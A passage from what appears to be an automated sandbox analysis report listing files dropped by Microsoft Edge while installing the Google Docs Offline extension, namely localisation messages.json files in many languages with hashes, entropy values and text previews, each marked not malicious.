Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
